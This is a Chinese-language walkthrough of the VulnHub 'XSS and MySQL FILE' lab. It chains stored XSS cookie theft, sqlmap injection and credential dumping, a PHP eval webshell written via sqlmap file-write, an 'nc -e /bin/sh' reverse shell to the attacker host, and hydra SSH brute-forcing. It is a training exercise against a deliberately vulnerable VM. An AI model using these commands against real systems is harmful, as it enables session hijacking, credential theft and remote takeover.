简介:本练习说明如何使用跨站点脚本漏洞来访问管理员的 Cookie。然后,如何使用他/她的会话来访问管理以查找SQL注入并使用它获得代码执行。
你会学到什么?
- 跨站点脚本攻击
- 具有文件权限的 MySQL 注入
1、下载靶场
靶机名称:PENTESTER LAB: XSS AND MYSQL FILE
下载地址:
Pentester Lab: XSS and MySQL FILE ~ VulnHub
2、安装靶场
导入成功,开启此虚拟机( 当页面出现 user@debian 时表示安装成功,可以通过 "ifconfig"、"ip add" 查询靶机IP地址)
3、获取靶机的root权限
前提:
1、已知kali的IP地址(ifconfig)
—— kali IP地址:192.168.108.129/24
2、靶机和kali在同一网段 | 已知靶机所在的网段
—— xss_and_mysql_file_i386 IP地址:192.168.108.144/24
信息收集
获取 xss_and_mysql_file_i386 的IP地址
命令:netdiscover -r 192.168.108.0/24
由图可知 xss_and_mysql_file_i386 的IP地址是:192.168.108.144/24
端口扫描
命令:nmap -A -sS -T4 192.168.108.144
//-sV:探测打开的端口以确定服务/版本信息,-p-:全端口扫描,-O:启用操作系统检测
//-sS/sT/sA/sW/sM:TCP SYN/Connect()/ACK/Window/Maimon 扫描
//-T[0-5]:设置时间模板(越高越快),-A:启用操作系统检测和版本检测
获取信息如下(操作系统:Linux 3.2-4.9):
端口号
服务
版本
22
ssh
OpenSSH 5.5p1 Debian 6+squeeze4 (protocol 2.0)
80
http
Apache httpd 2.2.16 ((Debian))
操作系统:Linux 2.6.32
3.2 渗透测试
首先修改一下hosts文件,进行目录扫描
目录扫描
dirb http://XandS
dirsearch -u "http://XandS"
目前已知五个网页(其余四个如下):
1、后台管理登录页面
之后又在首页发现了两个留言板(URL里的id分别是1和2)
http://192.168.108.144/post.php?id=1
http://192.168.108.144/post.php?id=2
两个留言板大致相同,看id=2的留言板的提示(Is it working?),猜测注入点在第二块留言板(一般可能为xss)
XSS
- 通常可以使用 <script>alert(1)</script> 来检测页面中是否包含 XSS 漏洞,但容易 WAF 或其他安全防御机制过滤,使用 '">< 可以在一定程度上避免这个问题
- 根据提交返回的结果可以判断是否存在漏洞,当特殊符号被编码时将会增加 XSS 攻击的难度,甚至可能就不存在 XSS 漏洞
**提交 **
**返回结果 **
可利用性
**1337'">< **
**1337'">< **
没有任何编码,可以使用** <script> **标签进行 XSS 攻击
**1337'">< **
**1337'">< **
**>、< **被编码
**1337'">< **
**1337'">< **
"、>、< 被编码
**1337'">< **
**1337'">< **
'、"、>、< 都被编码
测试1337'"><,留言板显示正常,表示没有任何编码,尝试注入使用 **<script> **标签进行 XSS 攻击
直接提交 <script>alert(1)</script> ,成功弹窗
利用 XSS 获取 cookie ,这里的 IP 是攻击者 Kali 主机的 IP ,当用户访问页面时,评论中的脚本会被执行
<script>document.write('');</script>nc -lvvp 9999 #在kali上对9999端口进行监听
第一次由于是在物理机(192.168.108.1)上提交的,提交完成之后访问了该页面,所以收到了物理机的cookie,重新监听一段时间之后就获取到管理员的cookie(192.168.108.144):PHPSESSID=jlnsbn142om8efmgomdoc7qpa7
使用管理员的cookie登录厚爱管理页面
可以直接使用 firefox 的 Cookie Editor 插件对cookie值进行修改(在主页进行就行,由于cookie有时间限制,之歌是重新监听到的cookie值)
在后台管理页面中可以看到管理帖子和新建帖子的功能
管理帖子:编辑、删除
新建帖子:标题、内容
使用sqlmap
在管理页面可以编辑已有的文章,从路径来看是根据 id 参数返回不同的文章,尝试 SQL 注入,返回错误信息
使用sqlmap注入
命令:sqlmap -u "http://192.168.108.144/admin/edit.php?id=1*" --cookie "PHPSESSID=l933cf8pdvcfc40cnq9dpifsl0"
命令:sqlmap -u "http://192.168.108.144/admin/edit.php?id=1*" --cookie "PHPSESSID=l933cf8pdvcfc40cnq9dpifsl0" --is-db
解释:判断是否是超户
命令:sqlmap -u "http://192.168.108.144/admin/edit.php?id=1*" --cookie "PHPSESSID=l933cf8pdvcfc40cnq9dpifsl0" --current-user
解释:获取当前用户名
命令:sqlmap -u "http://192.168.108.144/admin/edit.php?id=1*" --cookie "PHPSESSID=l933cf8pdvcfc40cnq9dpifsl0" --dbs
解释:获取数据库名
命令:sqlmap -u "http://192.168.108.144/admin/edit.php?id=1*" --cookie "PHPSESSID=l933cf8pdvcfc40cnq9dpifsl0" --current-db
解释:获取当前数据库名
--is-db
--current-user
--dbs
--current-db
--tables -D "blog"
--columns -T "users" -D "blog"
获取到 admin 用户的账号密码(admin、P4ssw0rd)
sqlmap -u "http://192.168.108.144/admin/edit.php?id=1*" --cookie "PHPSESSID=l933cf8pdvcfc40cnq9dpifsl0" --dump -T "users" -D "blog"
getshell
由于前面使用 --is-db 判断出当前注入点的用户权限是超户权限,使用文件写入(**--file-write、** **--file-dest **)
使用方式:
- 在kali写一个一句话木马文件(位置:/root/Desktop/webshell.php) - <?php eval($_POST['webshell']);?>
- sqlmap: - sqlmap -u "http://192.168.108.144/admin/edit.php?id=1*" --cookie "PHPSESSID=l933cf8pdvcfc40cnq9dpifsl0" --file-write="/root/Desktop/webshell.php" --file-dest="/var/www/classes/hack.php"
- 解释:--file-write 为kali的保存文件 --file-dest 为你想写入的靶机文件路径
结果(文件好像没有写进去,猜测可能是权限的问题):
换路劲尝试,最后在css路径下写入成功
sqlmap -u "http://192.168.108.144/admin/edit.php?id=1*" --cookie "PHPSESSID=l933cf8pdvcfc40cnq9dpifsl0" --file-write="/root/Desktop/webshell.php" --file-dest="/var/www/css/hack.php"
1、测试连接一句话木马成功
2、反弹shell(nc -e /bin/sh 192.168.108.129 6868)
查看敏感文件,发现在 /etc/passwd 文件中居然有一个用户(user)和root是同一个bash
使用九头蛇爆破用户 user 的密码(user、live)
命令:hydra -l user -P /usr/share/wordlists/dirb/common.txt ssh://192.168.108.144
这里不知道什么原因导致kali上不能ssh连接到靶机,使用xshell正常连接(user、live)
版权归原作者 honest_run 所有, 如有侵权,请联系我们删除。